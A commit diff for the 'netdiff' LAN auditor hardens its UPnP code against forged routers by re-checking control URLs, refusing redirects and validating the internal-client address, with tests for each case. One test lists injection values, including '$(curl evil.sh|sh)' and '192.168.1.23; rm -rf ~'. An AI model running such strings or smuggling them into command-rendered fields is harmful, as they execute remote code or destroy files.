fix(upnp): stop router-controlled strings reaching fetches and verify commands

README.md

@@ -88,6 +88,8 @@ This rules out checks that would otherwise be easy. Anonymous-FTP detection need
 
 One trust boundary is worth naming: SSDP replies are unauthenticated UDP, so anything on your network can forge one and choose the URL netdiff fetches next. netdiff only follows a `LOCATION` whose host is a literal private address inside the subnet being audited, and caps every response it reads.
 
+That check holds for every hop, not just the first. A device description can name an absolute `controlURL` that discards the URL we vetted, and any response can redirect, so the control URL is re-checked against the same subnet and redirects are refused outright. The same reasoning covers what gets *printed*: a `verify` line is a command you are told to run, so every value from the network that reaches one - the control URL, a forward's internal client - is validated where it enters, not escaped where it is rendered.
+
 ## Why no dependencies, and why no root
 
 Most LAN scanners either shell out to `nmap` or send raw ARP frames with `scapy`, and raw frames need root. netdiff does neither.

netdiff/upnp.py

@@ -17,6 +17,16 @@
 segment can forge one and point us at a URL of its choosing. We therefore only
 follow a LOCATION whose host is a literal private IP inside the subnet being
 audited, and we cap every body we read.
+
+That check has to survive every hop, not just the first. A description can name
+an absolute controlURL, which replaces the base URL outright, and any response
+can redirect. Both would move the fetch somewhere the check never saw, so the
+control URL is re-checked against the same subnet and redirects are refused.
+
+The strings that come back are not just fetched, they are printed: a finding's
+`verify` line is a command the report tells you to run. Anything from the
+network that reaches one is validated here, at the boundary, rather than
+escaped at each of the places it is rendered.
 """
 
 from __future__ import annotations
@@ -177,6 +187,13 @@ def parse_mapping(response: str):
     fields = {_localname(e.tag): (e.text or "").strip() for e in root.iter()}
     if not fields.get("NewExternalPort") or not fields.get("NewInternalClient"):
         return None
+    try:
+        # UPnP requires an address here. Anything else is a router telling us a
+        # story, and this value is rendered into a `verify` command the report
+        # tells the reader to paste into a shell.
+        ipaddress.ip_address(fields["NewInternalClient"])
+    except ValueError:
+        return None
     return Mapping(
         external_port=_to_int(fields["NewExternalPort"]),
         protocol=fields.get("NewProtocol", ""),
@@ -209,9 +226,24 @@ def ssdp_search(timeout: float = 3.0) -> list[str]:
     return replies
 
 
+class _NoRedirect(urllib.request.HTTPRedirectHandler):
+    """Refuse to follow redirects.
+
+    We check a URL against the audited subnet before fetching it. Following a
+    redirect would fetch a URL nobody checked, which is the same hole with an
+    extra step. Returning None here makes urllib raise instead.
+    """
+
+    def redirect_request(self, *args, **kwargs):
+        return None
+
+
+_OPENER = urllib.request.build_opener(_NoRedirect)
+
+
 def _http_get(url: str, timeout: float) -> str:
     try:
-        with urllib.request.urlopen(url, timeout=timeout) as response:
+        with _OPENER.open(url, timeout=timeout) as response:
             return response.read(MAX_BODY_BYTES).decode("utf-8", "replace")
     except (urllib.error.URLError, OSError, ValueError):
         return ""
@@ -230,7 +262,7 @@ def soap_post(control_url: str, service_type: str, index: int, timeout: float) -
         },
     )
     try:
-        with urllib.request.urlopen(request, timeout=timeout) as response:
+        with _OPENER.open(request, timeout=timeout) as response:
             return response.read(MAX_BODY_BYTES).decode("utf-8", "replace")
     except urllib.error.HTTPError as exc:
         # The end of the table arrives as HTTP 500 carrying a SOAP fault, so
@@ -266,6 +298,10 @@ def probe_gateway(subnet: str, timeout: float = 3.0, search=ssdp_search):
         if service is None:
             continue
         control_url, service_type = service
+        if not is_safe_location(control_url, network):
+            # An absolute controlURL replaces the base URL entirely, so passing
+            # the check on LOCATION says nothing about where this points.
+            continue
         return Gateway(
             control_url=control_url,
             service_type=service_type,

tests/test_upnp.py

@@ -6,6 +6,7 @@
 test_scan_and_store.py.
 """
 
+import contextlib
 import http.server
 import ipaddress
 import threading
@@ -214,6 +215,18 @@ def test_non_numeric_ports_degrade_to_zero_rather_than_raising():
     assert m.internal_port == 0
 
 
+def test_an_internal_client_that_is_not_an_address_is_not_a_mapping():
+    """This field is rendered into a command the report says to paste.
+
+    The router is not trusted input, and `ping -c1 $(...)` in a block a reader
+    has been told to run is not a typo, it is the whole attack. UPnP requires an
+    address here, so anything else is refused rather than sanitised downstream.
+    """
+    for client in ("$(curl evil.sh|sh)", "192.168.1.23; rm -rf ~", "router.local"):
+        response = MAPPING_RESPONSE.replace("192.168.1.23", client)
+        assert upnp.parse_mapping(response) is None
+
+
 # --- enumeration ------------------------------------------------------------
 
 
@@ -296,21 +309,64 @@ def do_POST(self):
         self._send(ENTRY.format(**self.entries[index]))
 
 
-def test_probe_gateway_walks_description_then_soap_over_real_sockets():
-    server = http.server.HTTPServer(("127.0.0.1", 0), _FakeIGD)
+@contextlib.contextmanager
+def _fake_router(handler):
+    """Serve `handler` on loopback, yielding the SSDP reply that points at it."""
+    server = http.server.HTTPServer(("127.0.0.1", 0), handler)
     threading.Thread(target=server.serve_forever, daemon=True).start()
     port = server.server_address[1]
-    reply = f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n"
     try:
-        gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply])
+        yield f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n"
     finally:
         server.shutdown()
 
-    assert gateway.control_url == f"http://127.0.0.1:{port}/ctl/IPConn"
+
+def test_probe_gateway_walks_description_then_soap_over_real_sockets():
+    with _fake_router(_FakeIGD) as reply:
+        gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply])
+
+    assert gateway.control_url.endswith("/ctl/IPConn")
     assert [m.external_port for m in gateway.mappings] == [32400, 8080]
     assert gateway.mappings[1].internal_client == "127.0.0.9"
 
 
+# The LOCATION check is only worth as much as the hop after it. A description
+# reached through a checked URL is still written by whoever answered, and it
+# gets to name both where we go next and what we print.
+
+
+class _AbsoluteControlURL(_FakeIGD):
+    """A description naming a controlURL outside the audited subnet."""
+
+    def do_GET(self):
+        self._send(
+            DESCRIPTION.replace(
+                "<controlURL>/ctl/IPConn</controlURL>",
+                "<controlURL>http://93.184.216.34/ctl</controlURL>",
+            )
+        )
+
+
+class _RedirectsAway(_FakeIGD):
+    """A description URL that 302s off the network."""
+
+    def do_GET(self):
+        self.send_response(302)
+        self.send_header("Location", "http://93.184.216.34/rootDesc.xml")
+        self.end_headers()
+
+
+def test_a_control_url_outside_the_subnet_is_refused():
+    """urljoin lets an absolute controlURL discard the base URL entirely."""
+    with _fake_router(_AbsoluteControlURL) as reply:
+        assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None
+
+
+def test_a_redirect_off_the_network_is_not_followed():
+    with _fake_router(_RedirectsAway) as reply:
+        assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None
+
+
 def test_probe_gateway_ignores_a_forged_reply_pointing_off_network():
     """The spoofing case, end to end: nothing is fetched, nothing is returned."""
     reply = "HTTP/1.1 200 OK\r\nLOCATION: http://93.184.216.34/rootDesc.xml\r\n\r\n"